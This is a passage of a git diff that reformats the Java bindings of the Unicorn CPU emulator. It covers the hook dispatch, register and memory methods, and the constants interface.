user_data) throws UnicornException { - if (syscallHandle == 0) { - syscallHandle = registerHook(eng, UC_HOOK_INSN, Unicorn.UC_X86_INS_SYSCALL); - } - syscallList.add(new Tuple(callback, user_data)); - } - - public void hook_del(Hook hook) throws UnicornException { - for (ArrayList l : allLists) { - for (Tuple t : l) { - if (t.function.equals(hook)) { - allLists.remove(t); - return; + /** + * Invoke all UC_HOOK_MEM_XXX_UNMAPPED and/or UC_HOOK_MEM_XXX_PROT callbacks + * registered + * for a specific Unicorn. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_MEM_XXX_UNMAPPED or UC_HOOK_MEM_XXX_PROT + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param type The type of event that is taking place + * @param address Address of instruction being executed + * @param size Size of data being read or written + * @param value Value of data being written to memory, or irrelevant if type = + * READ. + * @return true to continue, or false to stop program (due to invalid memory). + * @see hook_add, unicorn.EventMemHook + */ + private static boolean invokeEventMemCallbacks(long eng, int type, + long address, int size, + long value) { + Unicorn u = unicorns.get(eng); + boolean result = true; + if (u != null) { + ArrayList funcList = u.eventMemLists.get(type); + if (funcList != null) { + for (Tuple p : funcList) { + EventMemHook emh = (EventMemHook) p.function; + result &= emh.hook(u, address, size, value, p.data); + } } - } - } - } + } + return result; + } -/** - * Map a range of memory. - * - * @param address Base address of the memory range - * @param size Size of the memory block. - * @param perms Permissions on the memory block. A combination of UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC - */ - public native void mem_map(long address, long size, int perms) throws UnicornException; + /** + * Invoke all UC_HOOK_MEM_READ callbacks registered for a specific Unicorn. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_MEM_READ + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param address Address of instruction being executed + * @param size Size of data being read + * @see hook_add, unicorn.ReadHook + */ + private static void invokeReadCallbacks(long eng, long address, int size) { + Unicorn u = unicorns.get(eng); + if (u != null) { + for (Tuple p : u.readList) { + ReadHook rh = (ReadHook) p.function; + rh.hook(u, address, size, p.data); + } + } + } -/** - * Map existing host memory in for emulation. - * This API adds a memory region that can be used by emulation. - * - * @param address Base address of the memory range - * @param size Size of the memory block. - * @param perms Permissions on the memory block. A combination of UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC - * @param ptr Block of host memory backing the newly mapped memory. This block is - * expected to be an equal or larger size than provided, and be mapped with at - * least PROT_READ | PROT_WRITE. If it is not, the resulting behavior is undefined. - */ - public native void mem_map_ptr(long address, long size, int perms, byte[] block) throws UnicornException; + /** + * Invoke all UC_HOOK_MEM_WRITE callbacks registered for a specific Unicorn. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_MEM_WRITE + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param address Address of instruction being executed + * @param size Size of data being read + * @param value value being written + * @see hook_add, unicorn.WriteHook + */ + private static void invokeWriteCallbacks(long eng, long address, int size, + long value) { + Unicorn u = unicorns.get(eng); + if (u != null) { + for (Tuple p : u.writeList) { + WriteHook wh = (WriteHook) p.function; + wh.hook(u, address, size, value, p.data); + } + } + } -/** - * Unmap a range of memory. - * - * @param address Base address of the memory range - * @param size Size of the memory block. - */ - public native void mem_unmap(long address, long size) throws UnicornException; + /** + * Invoke all UC_HOOK_INSN callbacks registered for a specific Unicorn. + * This is specifically for the x86 IN instruction. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_INSN + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param port I/O Port number + * @param size Data size (1/2/4) to be read from this port + * @return Data supplied from the input port + * @see hook_add, unicorn.InHook + */ + private static int invokeInCallbacks(long eng, int port, int size) { + Unicorn u = unicorns.get(eng); + int result = 0; + if (u != null) { + for (Tuple p : u.inList) { + InHook ih = (InHook) p.function; + result = ih.hook(u, port, size, p.data); + } + } + return result; + } -/** - * Change permissions on a range of memory. - * - * @param address Base address of the memory range - * @param size Size of the memory block. - * @param perms New permissions on the memory block. A combination of UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC - */ - public native void mem_protect(long address, long size, int perms) throws UnicornException; + /** + * Invoke all UC_HOOK_INSN callbacks registered for a specific Unicorn. + * This is specifically for the x86 OUT instruction. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_INSN + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param port I/O Port number + * @param size Data size (1/2/4) to be written to this port + * @see hook_add, unicorn.OutHook + */ + private static void invokeOutCallbacks(long eng, int port, int size, + int value) { + Unicorn u = unicorns.get(eng); + int result = 0; + if (u != null) { + for (Tuple p : u.outList) { + OutHook oh = (OutHook) p.function; + oh.hook(u, port, size, value, p.data); + } + } + } -/** - * Retrieve all memory regions mapped by mem_map() and mem_map_ptr() - * NOTE: memory regions may be split by mem_unmap() - * - * @return list of mapped regions. -*/ - public native MemRegion[] mem_regions() throws UnicornException; + /** + * Invoke all UC_HOOK_INSN callbacks registered for a specific Unicorn. + * This is specifically for the x86 SYSCALL and SYSENTER instruction. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_INSN + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @see hook_add, unicorn.SyscallHook + */ + private static void invokeSyscallCallbacks(long eng) { + Unicorn u = unicorns.get(eng); + int result = 0; + if (u != null) { + for (Tuple p : u.syscallList) { + SyscallHook sh = (SyscallHook) p.function; + sh.hook(u, p.data); + } + } + } -/** - * Allocate a region that can be used with uc_context_{save,restore} to perform - * quick save/rollback of the CPU context, which includes registers and some - * internal metadata. Contexts may not be shared across engine instances with - * differing arches or modes. - * - * @return context handle for use with save/restore. -*/ - public native long context_alloc(); + /** + * Write to register. + * + * @param regid Register ID that is to be modified. + * @param value Number containing the new register value + */ + private native void reg_write_num(int regid, Number value) + throws UnicornException; -/** - * Free a resource allocated within Unicorn. Use for handles - * allocated by context_alloc. - * - * @param Previously allocated Unicorn object handle. -*/ - public native void free(long handle); + /** + * Write to register. + * + * @param regid Register ID that is to be modified. + * @param value X86 specific memory management register containing the new + * register value + */ + private native void reg_write_mmr(int regid, X86_MMR value) + throws UnicornException; -/** - * Save a copy of the internal CPU context. - * This API should be used to efficiently make or update a saved copy of the - * internal CPU state. - * - * @param context handle previously returned by context_alloc. -*/ - public native void context_save(long context); + /** + * Read register value. + * + * @param regid Register ID that is to be retrieved. + * @return Number containing the requested register value. + */ + private native Number reg_read_num(int regid) throws UnicornException; -/** - * Restore the current CPU context from a saved copy. - * This API should be used to roll the CPU context back to a previous - * state saved by uc_context_save(). - * - * @param context handle previously returned by context_alloc. -*/ - public native void context_restore(long context); + /** + * Read register value. + * + * @param regid Register ID that is to be retrieved. + * @return X86_MMR containing the requested register value. + */ + private native Number reg_read_mmr(int regid) throws UnicornException; - /** - * Set the emulated cpu model. - * - * @param cpu_model CPU model type (see UC_CPU_*). -*/ - public native void ctl_set_cpu_model(int cpu_model); + /** + * Native access to uc_open + * + * @param arch Architecture type (UC_ARCH_*) + * @param mode Hardware mode. This is combined of UC_MODE_* + */ + private native long open(int arch, int mode) throws UnicornException; + + /** + * Create a new Unicorn object + * + * @param arch Architecture type (UC_ARCH_*) + * @param mode Hardware mode. This is combined of UC_MODE_* + * @see unicorn.UnicornConst + * + */ + public Unicorn(int arch, int mode) throws UnicornException { + // remember these in case we need arch specific code + this.arch = arch; + this.mode = mode; + eng = open(arch, mode); + unicorns.put(eng, this); + allLists.add(blockList); + allLists.add(intrList); + allLists.add(codeList); + allLists.add(readList); + allLists.add(writeList); + allLists.add(inList); + allLists.add(outList); + allLists.add(syscallList); + } + + /** + * Perform native cleanup tasks associated with a Unicorn object + * + */ + protected void finalize() { + unicorns.remove(eng); + close(); + } + + /** + * Return combined API version & major and minor version numbers. + * + * @return hexadecimal number as (major << 8 | minor), which encodes both major + * & minor versions. + * + * For example Unicorn version 1.2 whould yield 0x0102 + */ + public native static int version(); + + /** + * Determine if the given architecture is supported by this library. + * + * @param arch Architecture type (UC_ARCH_*) + * @return true if this library supports the given arch. + * @see unicorn.UnicornConst + */ + public native static boolean arch_supported(int arch); + + /** + * Close the underlying uc_engine* eng associated with this Unicorn object + * + */ + public native void close() throws UnicornException; + + /** + * Query internal status of engine. + * + * @param type query type. See UC_QUERY_* + * @param result save the internal status queried + * + * @return: error code. see UC_ERR_* + * @see unicorn.UnicornConst + */ + public native int query(int type) throws UnicornException; + + /** + * Report the last error number when some API function fail. + * Like glibc's errno, uc_errno might not retain its old value once accessed. + * + * @return Error code of uc_err enum type (UC_ERR_*, see above) + * @see unicorn.UnicornConst + */ + public native int errno(); + + /** + * Return a string describing given error code. + * + * @param code Error code (see UC_ERR_* above) + * @return Returns a String that describes the error code + * @see unicorn.UnicornConst + */ + public native static String strerror(int code); + + /** + * Write to register. + * + * @deprecated use reg_write(int regid, Object value) instead + * @param regid Register ID that is to be modified. + * @param value Array containing value that will be written into register @regid + */ + @Deprecated + public native void reg_write(int regid, byte[] value) + throws UnicornException; + + /** + * Write to register. + * + * @param regid Register ID that is to be modified. + * @param value Object containing the new register value. Long, BigInteger, or + * other custom class used to represent register values + */ + public void reg_write(int regid, Object value) throws UnicornException { + if (value instanceof Number) { + reg_write_num(regid, (Number) value); + } else if (arch == UC_ARCH_X86 && value instanceof X86_MMR) { + if (regid >= UC_X86_REG_IDTR && regid <= UC_X86_REG_TR) { + reg_write_mmr(regid, (X86_MMR) value); + } + } else { + throw new ClassCastException("Invalid value type"); + } + } + + /** + * Read register value. + * + * @deprecated use Object reg_read(int regid) instead + * @param regid Register ID that is to be retrieved. + * @param regsz Size of the register being retrieved. + * @return Byte array containing the requested register value. + */ + @Deprecated + public native byte[] reg_read(int regid, int regsz) throws UnicornException; + + /** + * Read register value. + * + * @param regid Register ID that is to be retrieved. + * @return Object containing the requested register value. Long, BigInteger, or + * other custom class used to represent register values + */ + public Object reg_read(int regid) throws UnicornException { + if (arch == UC_ARCH_X86 && regid >= UC_X86_REG_IDTR && + regid <= UC_X86_REG_TR) { + return reg_read_mmr(regid); + } else { + return reg_read_num(regid); + } + } + + /** + * Batch write register values. regids.length == vals.length or UC_ERR_ARG + * + * @param regids Array of register IDs to be written. + * @param vals Array of register values to be written. + */ + public void reg_write_batch(int regids[], Object vals[]) + throws UnicornException { + if (regids.length != vals.length) { + throw new UnicornException(strerror(UC_ERR_ARG)); + } + for (int i = 0; i < regids.length; i++) { + reg_write(regids[i], vals[i]); + } + } + + /** + * Batch read register values. + * + * @param regids Array of register IDs to be read. + * @return Array containing the requested register values. + */ + public Object[] reg_read_batch(int regids[]) throws UnicornException { + Object[] vals = new Object[regids.length]; + for (int i = 0; i < regids.length; i++) { + vals[i] = reg_read(regids[i]); + } + return vals; + } + + /** + * Write to memory. + * + * @param address Start addres of the memory region to be written. + * @param bytes The values to be written into memory. bytes.length bytes will + * be written. + */ + public native void mem_write(long address, byte[] bytes) + throws UnicornException; + + /** + * Read memory contents. + * + * @param address Start addres of the memory region to be read. + * @param size Number of bytes to be retrieved. + * @return Byte array containing the contents of the requested memory range. + */ + public native byte[] mem_read(long address, long size) + throws UnicornException; + + /** + * Emulate machine code in a specific duration of time. + * + * @param begin Address where emulation starts + * @param until Address where emulation stops (i.e when this address is hit) + * @param timeout Duration to emulate the code (in microseconds). When this + * value is 0, we will emulate the code in infinite time, until + * the code is finished. + * @param count The number of instructions to be emulated. When this value is + * 0, we will emulate all the code available, until the code is + * finished. + */ + public native void emu_start(long begin, long until, long timeout, + long count) + throws UnicornException; + + /** + * Stop emulation (which was started by emu_start() ). + * This is typically called from callback functions registered via tracing APIs. + * NOTE: for now, this will stop the execution only after the current block. + */ + public native void emu_stop() throws UnicornException; + + /** + * Hook registration helper for hook types that require no additional arguments. + * + * @param eng Internal unicorn uc_engine* eng associated with hooking Unicorn + * object + * @param type UC_HOOK_* hook type + * @return Unicorn uch returned for registered hook function + */ + private native static long registerHook(long eng, int type); + + /** + * Hook registration helper for hook types that require one additional argument. + * + * @param eng Internal unicorn uc_engine* eng associated with hooking Unicorn + * object + * @param type UC_HOOK_* hook type + * @param arg1 Additional varargs argument + * @return Unicorn uch returned for registered hook function + */ + private native static long registerHook(long eng, int type, int arg1); + + /** + * Hook registration helper for hook types that require two additional + * arguments. + * + * @param eng Internal unicorn uc_engine* eng associated with hooking Unicorn + * object + * @param type UC_HOOK_* hook type + * @param arg1 First additional varargs argument + * @param arg2 Second additional varargs argument + * @return Unicorn uch returned for registered hook function + */ + private native static long registerHook(long eng, int type, long arg1, + long arg2); + + /** + * Hook registration for UC_HOOK_BLOCK hooks. The registered callback function + * will be + * invoked when a basic block is entered and the address of the basic block (BB) + * falls in the + * range begin <= BB <= end. For the special case in which begin > end, the + * callback will be + * invoked whenver any basic block is entered. + * + * @param callback Implementation of a BlockHook interface + * @param begin Start address of hooking range + * @param end End address of hooking range + * @param user_data User data to be passed to the callback function each time + * the event is triggered + */ + public void hook_add(BlockHook callback, long begin, long end, + Object user_data) + throws UnicornException { + if (blockHandle == 0) { + blockHandle = registerHook(eng, UC_HOOK_BLOCK, begin, end); + } + blockList.add(new Tuple(callback, user_data)); + } + + /** + * Hook registration for UC_HOOK_INTR hooks. The registered callback function + * will be + * invoked whenever an interrupt instruction is executed. + * + * @param callback Implementation of a InterruptHook interface + * @param user_data User data to be passed to the callback function each time + * the event is triggered + */ + public void hook_add(InterruptHook callback, Object user_data) + throws UnicornException { + if (interruptHandle == 0) { + interruptHandle = registerHook(eng, UC_HOOK_INTR); + } + intrList.add(new Tuple(callback, user_data)); + } + + /** + * Hook registration for UC_HOOK_CODE hooks. The registered callback function + * will be + * invoked when an instruction is executed from the address range begin <= PC <= + * end. For + * the special case in which begin > end, the callback will be invoked for ALL + * instructions. + * + * @param callback Implementation of a CodeHook interface + * @param begin Start address of hooking range + * @param end End address of hooking range + * @param user_data User data to be passed to the callback function each time + * the event is triggered + */ + public void hook_add(CodeHook callback, long begin, long end, + Object user_data) + throws UnicornException { + if (codeHandle == 0) { + codeHandle = registerHook(eng, UC_HOOK_CODE, begin, end); + } + codeList.add(new Tuple(callback, user_data)); + } + + /** + * Hook registration for UC_HOOK_MEM_READ hooks. The registered callback + * function will be + * invoked whenever a memory read is performed within the address range begin <= + * read_addr <= end. For + * the special case in which begin > end, the callback will be invoked for ALL + * memory reads. + * + * @param callback Implementation of a ReadHook interface + * @param begin Start address of memory read range + * @param end End address of memory read range + * @param user_data User data to be passed to the callback function each time + * the event is triggered + */ + public void hook_add(ReadHook callback, long begin, long end, + Object user_data) + throws UnicornException { + if (readHandle == 0) { + readHandle = registerHook(eng, UC_HOOK_MEM_READ, begin, end); + } + readList.add(new Tuple(callback, user_data)); + } + + /** + * Hook registration for UC_HOOK_MEM_WRITE hooks. The registered callback + * function will be + * invoked whenever a memory write is performed within the address range begin + * <= write_addr <= end. For + * the special case in which begin > end, the callback will be invoked for ALL + * memory writes. + * + * @param callback Implementation of a WriteHook interface + * @param begin Start address of memory write range + * @param end End address of memory write range + * @param user_data User data to be passed to the callback function each time + * the event is triggered + */ + public void hook_add(WriteHook callback, long begin, long end, + Object user_data) + throws UnicornException { + if (writeHandle == 0) { + writeHandle = registerHook(eng, UC_HOOK_MEM_WRITE, begin, end); + } + writeList.add(new Tuple(callback, user_data)); + } + + /** + * Hook registration for UC_HOOK_MEM_WRITE | UC_HOOK_MEM_WRITE hooks. The + * registered callback function will be + * invoked whenever a memory write or read is performed within the address range + * begin <= addr <= end. For + * the special case in which begin > end, the callback will be invoked for ALL + * memory writes. + * + * @param callback Implementation of a MemHook interface + * @param begin Start address of memory range + * @param end End address of memory range + * @param user_data User data to be passed to the callback function each time + * the event is triggered + */ + public void hook_add(MemHook callback, long begin, long end, + Object user_data) + throws UnicornException { + hook_add((ReadHook) callback, begin, end, user_data); + hook_add((WriteHook) callback, begin, end, user_data); + } + + /** + * Hook registration for UC_HOOK_MEM_XXX_UNMAPPED and UC_HOOK_MEM_XXX_PROT + * hooks. + * The registered callback function will be invoked whenever a read or write is + * attempted from an invalid or protected memory address. + * + * @param callback Implementation of a EventMemHook interface + * @param type Type of memory event being hooked such as + * UC_HOOK_MEM_READ_UNMAPPED or UC_HOOK_MEM_WRITE_PROT + * @param user_data User data to be passed to the callback function each time + * the event is triggered + */ + public void hook_add(EventMemHook callback, int type, Object user_data) + throws UnicornException { + // test all of the EventMem related bits in type + for (Integer htype : eventMemMap.keySet()) { + if ((type & htype) != 0) { // the 'htype' bit is set in type + Long handle = eventMemHandles.get(htype); + if (handle == null) { + eventMemHandles.put(htype, registerHook(eng, htype)); + } + int cbType = eventMemMap.get(htype); + ArrayList flist = eventMemLists.get(cbType); + if (flist == null) { + flist = new ArrayList(); + allLists.add(flist); + eventMemLists.put(cbType, flist); + } + flist.add(new Tuple(callback, user_data)); + } + } + } + + /** + * Hook registration for UC_HOOK_INSN hooks (x86 IN instruction only). The + * registered callback + * function will be invoked whenever an x86 IN instruction is executed. + * + * @param callback Implementation of a InHook interface + * @param user_data User data to be passed to the callback function each time + * the event is triggered + */ + public void hook_add(InHook callback, Object user_data) + throws UnicornException { + if (inHandle == 0) { + inHandle = registerHook(eng, UC_HOOK_INSN, Unicorn.UC_X86_INS_IN); + } + inList.add(new Tuple(callback, user_data)); + } + + /** + * Hook registration for UC_HOOK_INSN hooks (x86 OUT instruction only). The + * registered callback + * function will be invoked whenever an x86 OUT instruction is executed. + * + * @param callback Implementation of a OutHook interface + * @param user_data User data to be passed to the callback function each time + * the event is triggered + */ + public void hook_add(OutHook callback, Object user_data) + throws UnicornException { + if (outHandle == 0) { + outHandle = registerHook(eng, UC_HOOK_INSN, Unicorn.UC_X86_INS_OUT); + } + outList.add(new Tuple(callback, user_data)); + } + + /** + * Hook registration for UC_HOOK_INSN hooks (x86 SYSCALL/SYSENTER instruction + * only). The registered callback + * function will be invoked whenever an x86 SYSCALL or SYSENTER instruction is + * executed. + * + * @param callback Implementation of a SyscallHook interface + * @param user_data User data to be passed to the callback function each time + * the event is triggered + */ + public void hook_add(SyscallHook callback, Object user_data) + throws UnicornException { + if (syscallHandle == 0) { + syscallHandle = + registerHook(eng, UC_HOOK_INSN, Unicorn.UC_X86_INS_SYSCALL); + } + syscallList.add(new Tuple(callback, user_data)); + } + + public void hook_del(Hook hook) throws UnicornException { + for (ArrayList l : allLists) { + for (Tuple t : l) { + if (t.function.equals(hook)) { + allLists.remove(t); + return; + } + } + } + } + + /** + * Map a range of memory. + * + * @param address Base address of the memory range + * @param size Size of the memory block. + * @param perms Permissions on the memory block. A combination of + * UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC + */ + public native void mem_map(long address, long size, int perms) + throws UnicornException; + + /** + * Map existing host memory in for emulation. + * This API adds a memory region that can be used by emulation. + * + * @param address Base address of the memory range + * @param size Size of the memory block. + * @param perms Permissions on the memory block. A combination of + * UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC + * @param ptr Block of host memory backing the newly mapped memory. This + * block is + * expected to be an equal or larger size than provided, and be + * mapped with at + * least PROT_READ | PROT_WRITE. If it is not, the resulting + * behavior is undefined. + */ + public native void mem_map_ptr(long address, long size, int perms, + byte[] block) + throws UnicornException; + + /** + * Unmap a range of memory. + * + * @param address Base address of the memory range + * @param size Size of the memory block. + */ + public native void mem_unmap(long address, long size) + throws UnicornException; + + /** + * Change permissions on a range of memory. + * + * @param address Base address of the memory range + * @param size Size of the memory block. + * @param perms New permissions on the memory block. A combination of + * UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC + */ + public native void mem_protect(long address, long size, int perms) + throws UnicornException; + + /** + * Retrieve all memory regions mapped by mem_map() and mem_map_ptr() + * NOTE: memory regions may be split by mem_unmap() + * + * @return list of mapped regions. + */ + public native MemRegion[] mem_regions() throws UnicornException; + + /** + * Allocate a region that can be used with uc_context_{save,restore} to perform + * quick save/rollback of the CPU context, which includes registers and some + * internal metadata. Contexts may not be shared across engine instances with + * differing arches or modes. + * + * @return context handle for use with save/restore. + */ + public native long context_alloc(); + + /** + * Free a resource allocated within Unicorn. Use for handles + * allocated by context_alloc. + * + * @param Previously allocated Unicorn object handle. + */ + public native void free(long handle); + + /** + * Save a copy of the internal CPU context. + * This API should be used to efficiently make or update a saved copy of the + * internal CPU state. + * + * @param context handle previously returned by context_alloc. + */ + public native void context_save(long context); + + /** + * Restore the current CPU context from a saved copy. + * This API should be used to roll the CPU context back to a previous + * state saved by uc_context_save(). + * + * @param context handle previously returned by context_alloc. + */ + public native void context_restore(long context); + + /** + * Set the emulated cpu model. + * + * @param cpu_model CPU model type (see UC_CPU_*). + */ + public native void ctl_set_cpu_model(int cpu_model); } - diff --git a/bindings/java/unicorn/UnicornConst.java b/bindings/java/unicorn/UnicornConst.java index afd0580e..24d58c26 100644 --- a/bindings/java/unicorn/UnicornConst.java +++ b/bindings/java/unicorn/UnicornConst.java @@ -3,150 +3,150 @@ package unicorn; public interface UnicornConst { - public static final int UC_API_MAJOR = 2; + public static final int UC_API_MAJOR = 2; - public static final int UC_API_MINOR = 0; - public static final int UC_API_PATCH = 2; - public static final int UC_API_EXTRA = 1; - public static final int UC_VERSION_MAJOR = 2; + public static final int UC_API_MINOR = 0; + public static final int UC_API_PATCH = 2; + public static final int UC_API_EXTRA = 1; + public static final int UC_VERSION_MAJOR = 2; - public static final int UC_VERSION_MINOR = 0; - public static final int UC_VERSION_PATCH = 2; - public static final int UC_VERSION_EXTRA = 1; - public static final int UC_SECOND_SCALE = 1000000; - public static final int UC_MILISECOND_SCALE = 1000; - public static final int UC_ARCH_ARM = 1; - public static final int UC_ARCH_ARM64 = 2; - public static final int UC_ARCH_MIPS = 3; - public static final int UC_ARCH_X86 = 4; - public static final int UC_ARCH_PPC = 5; - public static final int UC_ARCH_SPARC = 6; - public static final int UC_ARCH_M68K = 7; - public static final int UC_ARCH_RISCV = 8; - public static final int UC_ARCH_S390X = 9; - public static final int UC_ARCH_TRICORE = 10; - public static final int UC_ARCH_MAX = 11; + public static final int UC_VERSION_MINOR = 0; + public static final int UC_VERSION_PATCH = 2; + public static final int UC_VERSION_EXTRA = 1; + public static final int UC_SECOND_SCALE = 1000000; + public static final int UC_MILISECOND_SCALE = 1000; + public static final int UC_ARCH_ARM = 1; + public static final int UC_ARCH_ARM64 = 2; + public static final int UC_ARCH_MIPS = 3; + public static final int UC_ARCH_X86 = 4; + public static final int UC_ARCH_PPC = 5; + public static final int UC_ARCH_SPARC = 6; + public static final int UC_ARCH_M68K = 7; + public static final int UC_ARCH_RISCV = 8; + public static final int UC_ARCH_S390X = 9; + public static final int UC_ARCH_TRICORE = 10; + public static final int UC_ARCH_MAX = 11; - public static final int UC_MODE_LITTLE_ENDIAN = 0; - public static final int UC_MODE_BIG_ENDIAN = 1073741824; + public static final int UC_MODE_LITTLE_ENDIAN = 0; + public static final int UC_MODE_BIG_ENDIAN = 1073741824; - public static final int UC_MODE_ARM = 0; - public static final int UC_MODE_THUMB = 16; - public static final int UC_MODE_MCLASS = 32; - public static final int UC_MODE_V8 = 64; - public static final int UC_MODE_ARMBE8 = 1024; - public static final int UC_MODE_ARM926 = 128; - public static final int UC_MODE_ARM946 = 256; - public static final int UC_MODE_ARM1176 = 512; - public static final int UC_MODE_MICRO = 16; - public static final int UC_MODE_MIPS3 = 32; - public static final int UC_MODE_MIPS32R6 = 64; - public static final int UC_MODE_MIPS32 = 4; - public static final int UC_MODE_MIPS64 = 8; - public static final int UC_MODE_16 = 2; - public static final int UC_MODE_32 = 4; - public static final int UC_MODE_64 = 8; - public static final int UC_MODE_PPC32 = 4; - public static final int UC_MODE_PPC64 = 8; - public static final int UC_MODE_QPX = 16; - public static final int UC_MODE_SPARC32 = 4; - public static final int UC_MODE_SPARC64 = 8; - public static final int UC_MODE_V9 = 16; - public static final int UC_MODE_RISCV32 = 4; - public static final int UC_MODE_RISCV64 = 8; + public static final int UC_MODE_ARM = 0; + public static final int UC_MODE_THUMB = 16; + public static final int UC_MODE_MCLASS = 32; + public static final int UC_MODE_V8 = 64; + public static final int UC_MODE_ARMBE8 = 1024; + public static final int UC_MODE_ARM926 = 128; + public static final int UC_MODE_ARM946 = 256; + public static final int UC_MODE_ARM1176 = 512; + public static final int UC_MODE_MICRO = 16; + public static final int UC_MODE_MIPS3 = 32; + public static final int UC_MODE_MIPS32R6 = 64; + public static final int UC_MODE_MIPS32 = 4; + public static final int UC_MODE_MIPS64 = 8; + public static final int UC_MODE_16 = 2; + public static final int UC_MODE_32 = 4; + public static final int UC_MODE_64 = 8; + public static final int UC_MODE_PPC32 = 4; + public static final int UC_MODE_PPC64 = 8; + public static final int UC_MODE_QPX = 16; + public static final int UC_MODE_SPARC32 = 4; + public static final int UC_MODE_SPARC64 = 8; + public static final int UC_MODE_V9 = 16; + public static final int UC_MODE_RISCV32 = 4; + public static final int UC_MODE_RISCV64 = 8; - public static final int UC_ERR_OK = 0; - public static final int UC_ERR_NOMEM = 1; - public static final int UC_ERR_ARCH = 2; - public static final int UC_ERR_HANDLE = 3; - public static final int UC_ERR_MODE = 4; - public static final int UC_ERR_VERSION = 5; - public static final int UC_ERR_READ_UNMAPPED = 6; - public static final int UC_ERR_WRITE_UNMAPPED = 7; - public static final int UC_ERR_FETCH_UNMAPPED = 8; - public static final int UC_ERR_HOOK = 9; - public static final int UC_ERR_INSN_INVALID = 10; - public static final int UC_ERR_MAP = 11; - public static final int UC_ERR_WRITE_PROT = 12; - public static final int UC_ERR_READ_PROT = 13; - public static final int UC_ERR_FETCH_PROT = 14; - public static final int UC_ERR_ARG = 15; - public static final int UC_ERR_READ_UNALIGNED = 16; - public static final int UC_ERR_WRITE_UNALIGNED = 17; - public static final int UC_ERR_FETCH_UNALIGNED = 18; - public static final int UC_ERR_HOOK_EXIST = 19; - public static final int UC_ERR_RESOURCE = 20; - public static final int UC_ERR_EXCEPTION = 21; - public static final int UC_MEM_READ = 16; - public static final int UC_MEM_WRITE = 17; - public static final int UC_MEM_FETCH = 18; - public static final int UC_MEM_READ_UNMAPPED = 19; - public static final int UC_MEM_WRITE_UNMAPPED = 20; - public static final int UC_MEM_FETCH_UNMAPPED = 21; - public static final int UC_MEM_WRITE_PROT = 22; - public static final int UC_MEM_READ_PROT = 23; - public static final int UC_MEM_FETCH_PROT = 24; - public static final int UC_MEM_READ_AFTER = 25; + public static final int UC_ERR_OK = 0; + public static final int UC_ERR_NOMEM = 1; + public static final int UC_ERR_ARCH = 2; + public static final int UC_ERR_HANDLE = 3; + public static final int UC_ERR_MODE = 4; + public static final int UC_ERR_VERSION = 5; + public static final int UC_ERR_READ_UNMAPPED = 6; + public static final int UC_ERR_WRITE_UNMAPPED = 7; + public static final int UC_ERR_FETCH_UNMAPPED = 8; + public static final int UC_ERR_HOOK = 9; + public static final int UC_ERR_INSN_INVALID = 10; + public static final int UC_ERR_MAP = 11; + public static final int UC_ERR_WRITE_PROT = 12; + public static final int UC_ERR_READ_PROT = 13; + public static final int UC_ERR_FETCH_PROT = 14; + public static final int UC_ERR_ARG = 15; + public static final int UC_ERR_READ_UNALIGNED = 16; + public static final int UC_ERR_WRITE_UNALIGNED = 17; + public static final int UC_ERR_FETCH_UNALIGNED = 18; + public static final int UC_ERR_HOOK_EXIST = 19; + public static final int UC_ERR_RESOURCE = 20; + public static final int UC_ERR_EXCEPTION = 21; + public static final int UC_MEM_READ = 16; + public static final int UC_MEM_WRITE = 17; + public static final int UC_MEM_FETCH = 18; + public static final int UC_MEM_READ_UNMAPPED = 19; + public static final int UC_MEM_WRITE_UNMAPPED = 20; + public static final int UC_MEM_FETCH_UNMAPPED = 21; + public static final int UC_MEM_WRITE_PROT = 22; + public static final int UC_MEM_READ_PROT = 23; + public static final int UC_MEM_FETCH_PROT = 24; + public static final int UC_MEM_READ_AFTER = 25; - public static final int UC_TCG_OP_SUB = 0; - public static final int UC_TCG_OP_FLAG_CMP = 1; - public static final int UC_TCG_OP_FLAG_DIRECT = 2; - public static final int UC_HOOK_INTR = 1; - public static final int UC_HOOK_INSN = 2; - public static final int UC_HOOK_CODE = 4; - public static final int UC_HOOK_BLOCK = 8; - public static final int UC_HOOK_MEM_READ_UNMAPPED = 16; - public static final int UC_HOOK_MEM_WRITE_UNMAPPED = 32; - public static final int UC_HOOK_MEM_FETCH_UNMAPPED = 64; - public static final int UC_HOOK_MEM_READ_PROT = 128; - public static final int UC_HOOK_MEM_WRITE_PROT = 256; - public static final int UC_HOOK_MEM_FETCH_PROT = 512; - public static final int UC_HOOK_MEM_READ = 1024; - public static final int UC_HOOK_MEM_WRITE = 2048; - public static final int UC_HOOK_MEM_FETCH = 4096; - public static final int UC_HOOK_MEM_READ_AFTER = 8192; - public static final int UC_HOOK_INSN_INVALID = 16384; - public static final int UC_HOOK_EDGE_GENERATED = 32768; - public static final int UC_HOOK_TCG_OPCODE = 65536; - public static final int UC_HOOK_TLB_FILL = 131072; - public static final int UC_HOOK_MEM_UNMAPPED = 112; - public static final int UC_HOOK_MEM_PROT = 896; - public static final int UC_HOOK_MEM_READ_INVALID = 144; - public static final int UC_HOOK_MEM_WRITE_INVALID = 288; - public static final int UC_HOOK_MEM_FETCH_INVALID = 576; - public static final int UC_HOOK_MEM_INVALID = 1008; - public static final int UC_HOOK_MEM_VALID = 7168; - public static final int UC_QUERY_MODE = 1; - public static final int UC_QUERY_PAGE_SIZE = 2; - public static final int UC_QUERY_ARCH = 3; - public static final int UC_QUERY_TIMEOUT = 4; + public static final int UC_TCG_OP_SUB = 0; + public static final int UC_TCG_OP_FLAG_CMP = 1; + public static final int UC_TCG_OP_FLAG_DIRECT = 2; + public static final int UC_HOOK_INTR = 1; + public static final int UC_HOOK_INSN = 2; + public static final int UC_HOOK_CODE = 4; + public static final int UC_HOOK_BLOCK = 8; + public static final int 